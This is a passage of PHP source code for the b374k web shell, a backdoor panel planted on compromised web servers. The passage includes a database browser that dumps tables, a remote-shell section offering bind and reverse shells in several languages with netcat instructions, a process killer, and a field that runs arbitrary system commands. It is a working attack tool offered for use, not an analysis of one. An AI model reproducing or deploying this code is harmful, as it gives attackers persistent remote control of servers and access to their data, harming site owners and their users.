Separate multiple commands with a semicolon <span class=\'gaya\'>[</span> ; <span class=\'gaya\'>]</span></p>
</form>"; if(!empty($s_sqlcode)){ $s_querys = explode(";",$s_sqlcode); foreach($s_querys as $s_query){ if(trim($s_query) != ""){ $s_hasil = sql_query($s_sql[\'type\'],$s_query,$s_con); if($s_hasil!=false){ $s_result .= "<hr /><p style=\'padding:0;margin:6px 10px;font-weight:bold;\'>".hss($s_query).";
<span class=\'gaya\'>[</span> ok <span class=\'gaya\'>]</span></p>"; if(!is_bool($s_hasil)){ $s_result .= "<table class=\'explore sortable\' style=\'width:100%;\'><tr>"; for($s_i = 0; $s_i<sql_num_fields($s_sql[\'type\'],$s_hasil); $s_i++) $s_result .= "<th>".@hss(sql_field_name($s_sql[\'type\'],$s_hasil,$s_i))."</th>"; $s_result .= "</tr>"; while($s_rows=sql_fetch_data($s_sql[\'type\'],$s_hasil)){ $s_result .= "<tr>"; foreach($s_rows as $s_r){ if(empty($s_r)) $s_r = " "; $s_result .= "<td>".@hss($s_r)."</td>"; } $s_result .= "</tr>"; } $s_result .= "</table>"; } } else{ $s_result .= "<p style=\'padding:0;margin:6px 10px;font-weight:bold;\'>".hss($s_query)."; <span class=\'gaya\'>[</span> error <span class=\'gaya\'>]</span></p>"; } } } } else{ if(($s_sql[\'type\']!=\'pdo\') && ($s_sql[\'type\']!=\'odbc\')){ if($s_sql[\'type\']==\'mysql\') $s_showdb = "SHOW DATABASES"; elseif($s_sql[\'type\']==\'mssql\') $s_showdb = "SELECT name FROM master..sysdatabases"; elseif($s_sql[\'type\']==\'pgsql\') $s_showdb = "SELECT schema_name FROM information_schema.schemata"; elseif($s_sql[\'type\']==\'oracle\') $s_showdb = "SELECT USERNAME FROM SYS.ALL_USERS ORDER BY USERNAME"; elseif($s_sql[\'type\']==\'sqlite3\' || $s_sql[\'type\']==\'sqlite\') $s_showdb = "SELECT \"".$s_sql[\'host\']."\""; else $s_showdb = "SHOW DATABASES"; $s_hasil = sql_query($s_sql[\'type\'],$s_showdb,$s_con); if($s_hasil!=false) { while($s_rows_arr=sql_fetch_data($s_sql[\'type\'],$s_hasil)){ foreach($s_rows_arr as $s_rows){ $s_result .= "<p class=\'notif\' onclick=\"toggle(\'db_".$s_rows."\')\">".$s_rows."</p>"; $s_result .= "<div class=\'info\' id=\'db_".$s_rows."\'><table class=\'explore\'>"; if($s_sql[\'type\']==\'mysql\') $s_showtbl = "SHOW TABLES FROM ".$s_rows; elseif($s_sql[\'type\']==\'mssql\') $s_showtbl = "SELECT name FROM ".$s_rows."..sysobjects WHERE xtype = \'U\'"; elseif($s_sql[\'type\']==\'pgsql\') $s_showtbl = "SELECT table_name FROM information_schema.tables WHERE table_schema=\'".$s_rows."\'"; elseif($s_sql[\'type\']==\'oracle\') $s_showtbl = "SELECT TABLE_NAME FROM SYS.ALL_TABLES WHERE OWNER=\'".$s_rows."\'"; elseif($s_sql[\'type\']==\'sqlite3\' || $s_sql[\'type\']==\'sqlite\') $s_showtbl = "SELECT name FROM sqlite_master WHERE type=\'table\'"; else $s_showtbl = ""; $s_hasil_t = sql_query($s_sql[\'type\'],$s_showtbl,$s_con); if($s_hasil_t!=false) { while($s_tables_arr=sql_fetch_data($s_sql[\'type\'],$s_hasil_t)){ foreach($s_tables_arr as $s_tables){ if($s_sql[\'type\']==\'mysql\') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 0,100"; elseif($s_sql[\'type\']==\'mssql\') $s_dump_tbl = "SELECT TOP 100 * FROM ".$s_rows."..".$s_tables; elseif($s_sql[\'type\']==\'pgsql\') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." LIMIT 100 OFFSET 0"; elseif($s_sql[\'type\']==\'oracle\') $s_dump_tbl = "SELECT * FROM ".$s_rows.".".$s_tables." WHERE ROWNUM BETWEEN 0 AND 100;"; elseif($s_sql[\'type\']==\'sqlite\' || $s_sql[\'type\']==\'sqlite3\') $s_dump_tbl = "SELECT * FROM ".$s_tables." LIMIT 0,100"; else $s_dump_tbl = ""; $s_dump_tbl_link = $s_self."x=db&connect=&sqlhost=".$s_sql[\'host\']."&sqlport=".$s_sql[\'port\']."&sqluser=".$s_sql[\'user\']."&sqlpass=".$s_sql[\'pass\']."&sqltype=".$s_sql[\'type\']."&sqlcode=".$s_dump_tbl; $s_result .= "<tr><td ondblclick=\"return go(\'".adds($s_dump_tbl_link)."\',event);\"><a href=\'".$s_dump_tbl_link."\'>".$s_tables."</a></td></tr>"; } } } $s_result .= "</table></div>"; } } } } } sql_close($s_sql[\'type\'],$s_con); } else{ $s_result .= notif("Unable to connect to database"); $s_show_form = true; } } if($s_show_form){ $s_sqllist = array(); if(function_exists("mysql_connect")) $s_sqllist["mysql"] = "connect to MySQL <span class=\'desc\' style=\'font-size:12px;\'>- using mysql_*</span>"; if(function_exists("mssql_connect") || function_exists("sqlsrv_connect")) $s_sqllist["mssql"] = "connect to MsSQL <span class=\'desc\' style=\'font-size:12px;\'>- using mssql_* or sqlsrv_*</span>"; if(function_exists("pg_connect")) $s_sqllist["pgsql"] = "connect to PostgreSQL <span class=\'desc\' style=\'font-size:12px;\'>- using pg_*</span>"; if(function_exists("oci_connect")) $s_sqllist["oracle"] = "connect to oracle <span class=\'desc\' style=\'font-size:12px;\'>- using oci_*</span>"; if(function_exists("sqlite_open")) $s_sqllist["sqlite"] = "connect to SQLite <span class=\'desc\' style=\'font-size:12px;\'>- using sqlite_*</span>"; if(class_exists("SQLite3")) $s_sqllist["sqlite3"] = "connect to SQLite3 <span class=\'desc\' style=\'font-size:12px;\'>- using class SQLite3</span>"; if(function_exists("odbc_connect")) $s_sqllist["odbc"] = "connect via ODBC <span class=\'desc\' style=\'font-size:12px;\'>- using odbc_*</span>"; if(class_exists("PDO")) $s_sqllist["pdo"] = "connect via PDO <span class=\'desc\' style=\'font-size:12px;\'>- using class PDO</span>"; foreach($s_sqllist as $s_sql[\'type\']=>$s_sqltitle){ if($s_sql[\'type\']=="odbc" || $s_sql[\'type\']=="pdo"){ $s_result .= "<div class=\'mybox\'><h2>".$s_sqltitle."</h2>
<form action=\'".$s_self."\' method=\'post\' />
<table class=\'myboxtbl\'>
<tr><td style=\'width:170px;\'>DSN / Connection String</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlhost\' value=\'\' /></td></tr>
<tr><td>Username</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqluser\' value=\'\' /></td></tr>
<tr><td>Password</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'password\' name=\'sqlpass\' value=\'\' /></td></tr>
</table>
<input type=\'submit\' name=\'connect\' class=\'inputzbut\' value=\'Connect !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' />
<input type=\'hidden\' name=\'sqltype\' value=\'".$s_sql[\'type\']."\' />
<input type=\'hidden\' name=\'sqlinit\' value=\'init\' />
<input type=\'hidden\' name=\'x\' value=\'db\' />
</form>
</div>"; } elseif($s_sql[\'type\']=="sqlite" || $s_sql[\'type\']=="sqlite3"){ $s_result .= "<div class=\'mybox\'><h2>".$s_sqltitle."</h2>
<form action=\'".$s_self."\' method=\'post\' />
<table class=\'myboxtbl\'>
<tr><td style=\'width:170px;\'>DB File</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlhost\' value=\'\' /></td></tr>
</table>
<input type=\'submit\' name=\'connect\' class=\'inputzbut\' value=\'Connect !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' />
<input type=\'hidden\' name=\'sqltype\' value=\'".$s_sql[\'type\']."\' />
<input type=\'hidden\' name=\'sqlinit\' value=\'init\' />
<input type=\'hidden\' name=\'x\' value=\'db\' />
</form>
</div>"; } else{ $s_result .= "<div class=\'mybox\'><h2>".$s_sqltitle."</h2>
<form action=\'".$s_self."\' method=\'post\' />
<table class=\'myboxtbl\'>
<tr><td style=\'width:170px;\'>Host</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlhost\' value=\'\' /></td></tr>
<tr><td>Username</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqluser\' value=\'\' /></td></tr>
<tr><td>Password</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'password\' name=\'sqlpass\' value=\'\' /></td></tr>
<tr><td>Port (optional)</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'sqlport\' value=\'\' /></td></tr>
</table>
<input type=\'submit\' name=\'connect\' class=\'inputzbut\' value=\'Connect !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' />
<input type=\'hidden\' name=\'sqltype\' value=\'".$s_sql[\'type\']."\' />
<input type=\'hidden\' name=\'sqlinit\' value=\'init\' />
<input type=\'hidden\' name=\'x\' value=\'db\' />
</form>
</div>"; } } } } elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'rs\')){ $s_rshost = $s_server_ip; $s_rsport = "13123"; $s_rspesana = "Press ' Go ! ' button and run ' nc <i>server_ip</i> <i>port</i> ' on your computer"; $s_rspesanb = "Run ' nc -l -v -p <i>port</i> ' on your computer and press ' Go ! ' button"; $s_rs_err = ""; $s_rsbind = $s_rsback = array(); $s_rsbind["bind_php"] = "Bind Shell <span class=\'desc\' style=\'font-size:12px;\'>- php</span>"; $s_rsback["back_php"] = "Reverse Shell <span class=\'desc\' style=\'font-size:12px;\'>- php</span>"; $s_access = array("s_python"=>"py", "s_perl"=>"pl", "s_ruby"=>"rb", "s_node"=>"js", "s_gcc"=>"c", "s_java"=>"java"); foreach($s_access as $k=>$v){ if(isset($$k)){ $s_t = explode("_", $k); $s_rsbind["bind_".$v] = "Bind Shell <span class=\'desc\' style=\'font-size:12px;\'>- ".$s_t[1]."</span>"; $s_rsback["back_".$v] = "Reverse Shell <span class=\'desc\' style=\'font-size:12px;\'>- ".$s_t[1]."</span>"; } } if($s_win){ $s_rsbind["bind_win"] = "Bind Shell <span class=\'desc\' style=\'font-size:12px;\'>- windows executable</span>"; $s_rsback["back_win"] = "Reverse Shell <span class=\'desc\' style=\'font-size:12px;\'>- windows executable</span>"; } $s_rslist = array_merge($s_rsbind,$s_rsback); if(!@is_writable($s_cwd)) $s_result .= notif("Directory ".$s_cwd." is not writable, please change to a writable one"); foreach($s_rslist as $s_rstype=>$s_rstitle){ $s_split = explode("_",$s_rstype); if($s_split[0]=="bind"){ $s_rspesan = $s_rspesana; $s_rsdisabled = "disabled=\'disabled\'"; $s_rstarget = $s_server_ip; $s_labelip = "Server IP"; } elseif($s_split[0]=="back"){ $s_rspesan = $s_rspesanb; $s_rsdisabled = ""; $s_rstarget = $s_my_ip; $s_labelip = "Target IP"; } if(isset($_GP[$s_rstype])){ if(isset($_GP["rshost_".$s_rstype])) $s_rshost_ = $_GP["rshost_".$s_rstype]; if(isset($_GP["rsport_".$s_rstype])) $s_rsport_ = $_GP["rsport_".$s_rstype]; if($s_split[0]=="bind") $s_rstarget_packed = $s_rsport_; elseif($s_split[0]=="back") $s_rstarget_packed = $s_rsport_." ".$s_rshost_; if($s_split[1]=="pl") $s_rscode = $s_rs_pl; elseif($s_split[1]=="py") $s_rscode = $s_rs_py; elseif($s_split[1]=="rb") $s_rscode = $s_rs_rb; elseif($s_split[1]=="js") $s_rscode = $s_rs_js; elseif($s_split[1]=="c") $s_rscode = $s_rs_c; elseif($s_split[1]=="java") $s_rscode = $s_rs_java; elseif($s_split[1]=="win") $s_rscode = $s_rs_win; elseif($s_split[1]=="php") $s_rscode = $s_rs_php; $s_buff = rs($s_rstype,$s_rstarget_packed,$s_rscode); if($s_buff!="") $s_rs_err = notif(hss($s_buff)); } $s_result .= "<div class=\'mybox\'><h2>".$s_rstitle."</h2>
<form action=\'".$s_self."\' method=\'post\' />
<table class=\'myboxtbl\'>
<tr><td style=\'width:100px;\'>".$s_labelip."</td><td><input ".$s_rsdisabled." style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'rshost_".$s_rstype."\' value=\'".$s_rstarget."\' /></td></tr>
<tr><td>Port</td><td><input style=\'width:100%;\' class=\'inputz\' type=\'text\' name=\'rsport_".$s_rstype."\' value=\'".$s_rsport."\' /></td></tr>
</table>
<input type=\'submit\' name=\'".$s_rstype."\' class=\'inputzbut\' value=\'Go !\' style=\'width:120px;height:30px;margin:10px 2px 0 2px;\' />
<span>".$s_rspesan."</span>
<input type=\'hidden\' name=\'x\' value=\'rs\' />
</form>
</div>"; } $s_result = $s_rs_err.$s_result; } elseif(isset($_GP[\'x\']) && ($_GP[\'x\']==\'ps\')){ $s_buff = ""; if(isset($_GP[\'pid\'])){ $s_p = trim($_GP[\'pid\'],"|"); $s_parr = explode("|", $s_p); foreach($s_parr as $s_p){ if(function_exists("posix_kill")) $s_buff .= (posix_kill($s_p,\'9\'))? notif("Process with pid ".$s_p." has been successfully killed"):notif("Unable to kill process with pid ".$s_p); else{ if(!$s_win) $s_buff .= notif(exe("kill -9 ".$s_p)); else $s_buff .= notif(exe("taskkill /F /PID ".$s_p)); } } } if(!$s_win) $s_h = "ps aux"; else $s_h = "tasklist /V /FO csv"; $s_wcount = 11; $s_wexplode = " "; if($s_win) $s_wexplode = "\",\""; $s_res = exe($s_h); if(trim($s_res)==\'\') $s_result = notif("Error getting process list"); else{ if($s_buff!="") $s_result = $s_buff; $s_result .= "<table class=\'explore sortable\'>"; if(!$s_win) $s_res = preg_replace(\'#\ +#\',\' \',$s_res); $s_psarr = explode("
",$s_res); $s_fi = true; $s_tblcount = 0; $s_check = explode($s_wexplode,$s_psarr[0]); $s_wcount = count($s_check); foreach($s_psarr as $s_psa){ if(trim($s_psa)!=\'\'){ if($s_fi){ $s_fi = false; $s_psln = explode($s_wexplode, $s_psa, $s_wcount); $s_result .= "<tr><th style=\'width:24px;\' class=\'sorttable_nosort\'></th><th class=\'sorttable_nosort\'>action</th>"; foreach($s_psln as $s_p) $s_result .= "<th>".trim(trim(strtolower($s_p)) ,"\"")."</th>"; $s_result .= "</tr>"; } else{ $s_psln = explode($s_wexplode, $s_psa, $s_wcount); $s_result .= "<tr>"; $s_tblcount = 0; foreach($s_psln as $s_p){ $s_pid = trim(trim($s_psln[1]),"\""); if(trim($s_p)=="") $s_p = " "; if($s_tblcount == 0){ $s_result .= "<td style=\'text-align:center;text-indent:4px;\'><input id=\'".md5($s_pid)."\' name=\'cbox\' value=\'".$s_pid."\' type=\'checkbox\' class=\'css-checkbox\' onchange=\'hilite(this);\' /><label for=\'".md5($s_pid)."\' class=\'css-label\'></label></td><td style=\'text-align:center;\'><a href=\'".$s_self."x=ps&pid=".$s_pid."\'>kill</a></td>
<td style=\'text-align:center;\'>".trim(trim($s_p) ,"\"")."</td>"; $s_tblcount++; } else{ $s_tblcount++; if($s_tblcount == count($s_psln)) $s_result .= "<td style=\'text-align:left;\'>".trim(trim($s_p) ,"\"")."</td>"; else $s_result .= "<td style=\'text-align:center;\'>".trim(trim($s_p) ,"\"")."</td>"; } } $s_result .= "</tr>"; } } } $colspan = count($s_psln)+1; $s_result .= "<tfoot><tr class=\'cbox_selected\'><td class=\'cbox_all\'>
<form action=\'".$s_self."\' method=\'post\'><input id=\'checkalll\' type=\'checkbox\' name=\'abox\' class=\'css-checkbox\' onclick=\'checkall();\' /><label for=\'checkalll\' class=\'css-label\'></label></form>
</td><td style=\'text-indent:10px;padding:2px;\' colspan=".$colspan."><a href=\'javascript: pkill();\'>kill selected <span id=\'total_selected\'></span></a></td>
</tr></tfoot></table>"; } } else{ if(!isset($s_cwd)) $s_cwd = ""; if(isset($_GP[\'cmd\'])){ $s_cmd = $_GP[\'cmd\']; if(strlen($s_cmd) > 0){ if(preg_match(\'#^cd(\ )+(.*)#\',$s_cmd,$s_r)){ $s_nd = trim($s_r[2]); if(@is_dir($s_nd)){ chdir($s_nd); $s_cwd = cp(getcwd()); setcookie("cwd", $s_cwd ,time() + $s_login_time); $s_result .= showdir($s_cwd); } elseif(@is_dir($s_cwd.$s_nd)){ chdir($s_cwd.$s_nd); $s_cwd = cp(getcwd()); setcookie("cwd", $s_cwd ,time() + $s_login_time); $s_result .= showdir($s_cwd); } else $s_result .= notif($s_nd." is not a directory"); } else{ $s_r = hss(exe($s_cmd)); if($s_r != \'\') $s_result .= "<pre>".$s_r."</pre>"; else $s_result .= showdir($s_cwd); } } else $s_result .= showdir($s_cwd); } else $s_result .= showdir($s_cwd); } $s_letters = \'\'; $s_v = explode("\",$s_cwd); $s_v = $s_v[0]; foreach (range("A", "Z") as $s_letter){ if(@is_readable($s_letter.":\")){ $s_letters .= "<a href=\'".$s_self."cd=".$s_letter.":\\'>[ "; if($s_letter.":" != $s_v) $s_letters .= $s_letter; else{$s_letters .= "<span class=\'drive-letter\'>".$s_letter."</span>";} $s_letters .= " ]</a> "; } } $s_info = "<table class=\'headtbl\'><tr><td>".$s_system."</td></tr>"; $s_info .= "<tr><td>".$s_software."</td></tr>"; $s_info .= "<tr><td>server ip : ".$s_server_ip."<span class=\'gaya\'> | </span>your ip : ".$s_my_ip; $s_info .= "<span class=\'gaya\'> | </span> Time @ Server : ".@date("d M Y H:i:s",time()); $s_info .= "</td></tr>
<tr><td style=\'text-align:left;\'>
<table class=\'headtbls\'><tr>
<td>".trim($s_letters)."</td>
<td>
<span id=\'chpwd\'>
<a href=\"javascript:tukar_(\'chpwd\',\'chpwdform\')\">
<span class=\'icon\'></span>
</a>".swd($s_cwd)."</span>
<form action=\'".$s_self."\' method=\'post\' style=\'margin:0;padding:0;\'>
<span class=\'sembunyi\' id=\'chpwdform\'>
<a href=\"javascript:tukar_(\'chpwdform\',\'chpwd\');\">
<span class=\'icon\'></span>
</a>
<input type=\'text\' name=\'view\' class=\'inputz\' style=\'width:300px;\' value=\'".$s_cwd."\' />
<input class=\'inputzbut\' type=\'submit\' name=\'submit\' value=\'view file / folder\' />
</span>
</form>
</td></tr>
</table>
</td></tr>
</table>"; } $s_error = ob_get_contents(); if(!empty($s_error)) $s_result = notif($s_error).$s_result; ob_end_clean(); ?><!DOCTYPE html>
<html>
<head>
<title><?php echo $s_title; ?></title>
<meta charset="utf-8">
<meta name=\'robots\' content=\'noindex, nofollow, noarchive\'>
<link rel=\'SHORTCUT ICON\' href=\'<?php echo $s_favicon; ?>\'>
<link href=\'http://fonts.googleapis.com/css?family=Ubuntu+Mono:400,700\' rel=\'stylesheet\' type=\'text/css\'>
<style type=\'text/css\'>
*{font-family:Ubuntu Mono,serif;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;border:0;}
body{background:<?php echo $s_color[0]; ?>;font-size:12px;color:<?php echo $s_color[1]; ?>;font-weight:400;}
hr{border-bottom:1px dashed <?php echo $s_color[2]; ?>;}
a{color:<?php echo $s_color[3]; ?>;text-decoration:none;}
a:hover{color:<?php echo $s_color[1]; ?>;}
pre{padding:0 8px;}
form{display:inline;}
table th,p{cursor:default;}
input:focus,select:focus,textarea:focus,button:focus{outline: none;}
#main{background:<?php echo $s_color[4]; ?>;-moz-border-radius:10px;border-radius:10px;width:100%;padding:2px 8px;}
#header{text-align:left;margin:0;padding:0;}
#header td{margin:0;padding:0;}
#header h1{font-size:20px;-webkit-transform:rotate(-13.37deg);-moz-transform:rotate(-13.37deg);-ms-transform:rotate(-13.37deg);-o-transform:rotate(-13.37deg);transform:rotate(-13.37deg);margin:0;padding:0;}
#header h1 a,.explorelist:hover a{color:<?php echo $s_color[1]; ?>;}
#menu{background:<?php echo $s_color[4]; ?>;margin:0 2px 4px;}
#result{-moz-border-radius:10px;border-radius:10px;border:1px solid <?php echo $s_color[3]; ?>;line-height:16px;background:<?php echo $s_color[4]; ?>;color:<?php echo $s_color[5]; ?>;margin:0 0 8px;padding:4px 8px;}
.headinfo{border-left:1px solid <?php echo $s_color[3]; ?>;margin:6px;padding:2px 0 0 16px;}
.headtbls tr{height:24px;vertical-align:middle;}
.gaya,.ver{color:<?php echo $s_color[3]; ?>;font-weight:700;}
.ver{-webkit-transform:rotate(-13.37deg);-moz-transform:rotate(-13.37deg);-ms-transform:rotate(-13.37deg);-o-transform:rotate(-13.37deg);transform:rotate(-13.37deg);letter-spacing:2px;}
.menumi{background:<?php echo $s_color[6]; ?>;color:<?php echo $s_color[3]; ?>;text-decoration:none;letter-spacing:2px;font-size:12px;-webkit-transform:rotate(-13.37deg);-moz-transform:rotate(-13.37deg);-ms-transform:rotate(-13.37deg);-o-transform:rotate(-13.37deg);transform:rotate(-13.37deg);-moz-border-radius:4px;border-radius:4px;margin:0;padding:4px 8px;}
.menumi:hover{background:<?php echo $s_color[7]; ?>;-webkit-transform:rotate(13.37deg);-moz-transform:rotate(13.37deg);-ms-transform:rotate(13.37deg);-o-transform:rotate(13.37deg);transform:rotate(13.37deg);}
.inputz,.prompt,.txtarea{background:<?php echo $s_color[4]; ?>;border:0;border-bottom:1px solid <?php echo $s_color[7]; ?>;font-size:12px;color:<?php echo $s_color[1]; ?>;padding:2px;}
.prompt{font-weight:700;}
.txtarea{width:100%;height:370px;}
.inputzbut{font-size:12px;background:<?php echo $s_color[8]; ?>;color:<?php echo $s_color[3]; ?>;border:1px solid <?php echo $s_color[2]; ?>;margin:0 4px;}
.but{float:left;background:<?php echo $s_color[3]; ?>;color:<?php echo $s_color[0]; ?>;margin:0 4px 0 0;font-size:20px;width:16px;height:16px;border-radius:50%;text-align:center;padding:0;line-height:12px;cursor:default}
.explore{width:100%;padding:4px 0;}
.explore a{text-decoration:none;}
.explore td{border-bottom:1px solid <?php echo $s_color[2]; ?>;line-height:24px;padding:0 8px;vertical-align:top;}
.explore th{font-weight:700;background:<?php echo $s_color[2]; ?>;padding:6px 8px;}
.explore tr:hover{background:<?php echo $s_color[8]; ?>;}
.sembunyi{display:none;margin:0;padding:0;}
.info table{width:100%;border-radius:6px;border:1px solid <?php echo $s_color[3]; ?>;margin:4px 0;padding:8px;}
.info th,th{background:<?php echo $s_color[8]; ?>;font-weight:700;}
.info td{border-bottom:1px solid <?php echo $s_color[2]; ?>;}
.info h2{text-align:center;font-size:15px;background:<?php echo $s_color[8]; ?>;letter-spacing:6px;border-radius:6px;border-bottom:1px solid <?php echo $s_color[3]; ?>;margin:4px 0 8px;padding:10px;}
.info a{color:<?php echo $s_color[10]; ?>;}
.viewfile{width:100%;border-bottom:1px solid <?php echo $s_color[2]; ?>;margin:0 0 4px;}
.viewfile td{border-bottom:1px solid <?php echo $s_color[2]; ?>;background:<?php echo $s_color[8]; ?>;height:24px;padding:2px 4px;}
.viewfilecontent{padding:11px 8px;}
.mybox{-moz-border-radius:10px;border-radius:10px;border:1px solid <?php echo $s_color[3]; ?>;margin:4px 0 8px;padding:14px 8px;}
.mybox h2{border-bottom:1px solid <?php echo $s_color[9]; ?>;color:<?php echo $s_color[3]; ?>;margin:0;padding:0 0 8px;}
.notif{background:<?php echo $s_color[3]; ?>;color:<?php echo $s_color[0]; ?>;border-radius:6px;font-weight:700;margin:3px 0;padding:4px 8px 2px;}
.notif a{color:<?php echo $s_color[0]; ?>;}
.footer{text-align:right;font-size:10px;letter-spacing:2px;color:<?php echo $s_color[2]; ?>;padding:0 16px;}
.headtbl,.myboxtbl{width:100%;}
input[type=checkbox].css-checkbox + label.css-label{padding-left:20px;height:15px;display:inline-block;line-height:15px;background-repeat:no-repeat;background-position:0 0;vertical-align:middle;cursor:pointer;}
input[type=checkbox].css-checkbox:checked + label.css-label{background-position:0 -15px;}
.info,.info h1,.info hr,input[type=checkbox].css-checkbox{display:none;}
.css-label{background-image:url(<?php echo $s_checkbox; ?>);}
.icon{background:url(<?php echo $s_favicon; ?>);margin:6px 0;border:0;padding:1px 8px 0 8px;}
.drive-letter{color:<?php echo $s_color[1]; ?>;}
.desc{color:<?php echo $s_color[11]; ?>;}
.cbox_selected{background-color:<?php echo $s_color[12]; ?>;}
.cbox_all{text-align:center;text-indent:4px;}
.schemabox{background-color:<?php echo $s_color[3]; ?>;border-radius:2px;}
.border-bottom{border-bottom:1px solid <?php echo $s_color[7]; ?>;}
.border-top{border-top:1px solid <?php echo $s_color[7]; ?>;}
#navigation{position:fixed;left:-16px;top:46%;}
#totop,#tobottom{background:url(<?php echo $s_arrow; ?>);width:32px;height:32px;opacity:0.30;margin:12px 0;}
#totop:hover,#tobottom:hover{opacity:0.80;}
#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}
</style>
</head>
<body>
<table id=\'main\'><tr><td>
<?php if($s_auth){?>
<div><span style=\'float:right;\'><a href=\'<?php echo $s_self; ?>x=logout\' title=\'Click me to log out\'>log out</a> <a href=\'<?php echo $s_self; ?>x=switch\' title=\'Click me to change theme\'><span class=\'schemabox\'> </span></a></span><table id=\'header\'><tr><td style=\'width:80px;\'><table><tr><td><h1><a href=\'<?php echo $s_self."cd=".cp(dirname(realpath($_SERVER[\'SCRIPT_FILENAME\']))); ?>\'>b374k</a></h1></td></tr><tr><td style=\'text-align:right;\'><div class=\'ver\'><?php echo $s_ver; ?></div></td></tr></table></td> <td><div class=\'headinfo\'><?php echo $s_info; ?></div></td></tr></table></div>
<div style=\'clear:both;\'></div>
<form method=\'post\' name=\'g\'></form>
<div id=\'menu\'>
<table style=\'width:100%;\'><tr>
<td><a href=\'<?php echo $s_self; ?>\' title=\'Explorer\'><div class=\'menumi\'>xpl</div></a></td>
<td><a href=\'<?php echo $s_self; ?>x=ps\' title=\'Display process status\'><div class=\'menumi\'>ps</div></a></td>
<td><a href=\'<?php echo $s_self; ?>x=eval\' title=\'Execute code\'><div class=\'menumi\'>eval</div></a></td>
<td><a href=\'<?php echo $s_self; ?>x=info\' title=\'Information about server\'><div class=\'menumi\'>info</div></a></td>
<td><a href=\'<?php echo $s_self; ?>x=db\' title=\'Connect to database\'><div class=\'menumi\'>db</div></a></td>
<td><a href=\'<?php echo $s_self; ?>x=rs\' title=\'Remote Shell\'><div class=\'menumi\'>rs</div></a></td>
<td style=\'width:100%;padding:0 0 0 6px;\'>
<span class=\'prompt\'><?php echo $s_prompt; ?></span><form action=\'<?php echo $s_self; ?>\' method=\'post\'>
<input id=\'cmd\' onclick="clickcmd();" class=\'inputz\' type=\'text\' name=\'cmd\' style=\'width:70%;\' value=\'<?php
if(isset($_GP[\'cmd\'])) echo ""; else echo "- shell command -"; ?>\' />
<noscript><input class=\'inputzbut\' type=\'submit\' value=\'Go !\' name=\'submitcmd\' style=\'width:80px;\' /></noscript>
</form>
</td>
</tr></table>
</div>
<div id=\'content\'>
<div id=\'result\'><?php echo $s_result; ?></div>
</div>
<div id=\'navigation\'>
<div id=\'totop\' onclick=\'totopd();\' onmouseover=\'totop();\' onmouseout=\'stopscroll();\'></div>
<div id=\'tobottom\' onclick=\'tobottomd();\' onmouseover=\'tobottom();\' onmouseout=\'stopscroll();\'></div>
</div>
<?php } else{ ?>
<div style=\'width:100%;text-align:center;\'>
<form action=\'<?php echo $s_self; ?>\' method=\'post\'>
<img src=\'<?php echo $s_favicon; ?>\' style=\'margin:2px;vertical-align:middle;\' />
b374k <span class=\'gaya\'><?php echo $s_ver; ?></span><input id=\'login\' class=\'inputz\' type=\'password\' name=\'login\' style=\'width:120px;\' value=\'\' />
<input class=\'inputzbut\' type=\'submit\' value=\'Go !\' name=\'submitlogin\' style=\'width:80px;\' />
</form>
</div>
<?php }?> </td></tr></table>
<p class=\'footer\'>Jayalah Indonesiaku ©<?php echo @date("Y",time())." "; ?>b374k</p>
<script type=\'text/javascript\'>
<?php echo gzinflate(base64_decode($s_sortable_js)).gzinflate(base64_decode($s_domready_js)); ?>
</script>
<script type=\'text/javascript\'>
var d = document;
var scroll = false;
var cwd = \'<?php echo adds($s_cwd); ?>\';
var hexstatus = false;
var timer = \'\';
domready(function(){
<?php if(isset($_GP[\'cmd\'])) echo "if(d.getElementById(\'cmd\')) d.getElementById(\'cmd\').focus();"; ?>
<?php if(isset($_GP[\'evalcode\'])) echo "if(d.getElementById(\'evalcode\')) d.getElementById(\'evalcode\').focus();"; ?>
<?php if(isset($_GP[\'sqlcode\'])) echo "if(d.getElementById(\'sqlcode\')) d.getElementById(\'sqlcode\').focus();"; ?>
<?php if(isset($_GP[\'login\'])) echo "if(d.getElementById(\'login\')) d.getElementById(\'login\').focus();"; ?>
<?php if(isset($_GP[\'hexedit\'])) echo "showhex();"; ?>
if(d.getElementById(\'cmd\')) d.getElementById(\'cmd\').setAttribute(\'autocomplete\', \'off\');
var textareas = d.getElementsByTagName(\'textarea\');
var count = textareas.length;
for(i = 0; i<count; i++){
textareas[i].onkeydown = function(e){
if(e.keyCode==9){
e.preventDefault();
var s = this.selectionStart;
this.value = this.value.substring(0,this.selectionStart) + " " + this.value.substring(this.selectionEnd);
this.selectionEnd = s+1;
}
else if(e.ctrlKey && (e.keyCode == 10 || e.keyCode == 13)){
this.form.submit();
}
}
}
listen();
});
function is_array(var_to_tes){
return (Object.prototype.toString.call(var_to_tes) === \'[object Array]\')? true:false;
}
function listen(){
var x = d.getElementsByTagName("a");
for(i = 0; i<x.length; i++){
if(x[i].addEventListener) x[i].addEventListener ("click", function(event){go(this.href,event);event.preventDefault();return false;},false);
else x[i].attachEvent ("onclick", function(event){return go(this.href,event);event.preventDefault();return false;});
}
}
function go(t,evt){
if(evt.which === 3 || evt.button === 2) return false;
var z = d.getElementsByName(\'g\');
if(z){
var y = z.item(this);
for(var i = 0; i<y.length; i++){
y[i].remove();
}
}
t = decodeURI(t);
ts = t.split(\'?\');
if(is_array(ts) && ts.length >= 2){
var a = ts[0]
var v = ts[1];
if(ts.length==3){
a = ts[0]+\'?\'+ts[1]+\'?\';
v = ts[2];
}
var vs = v.split(\'&\');
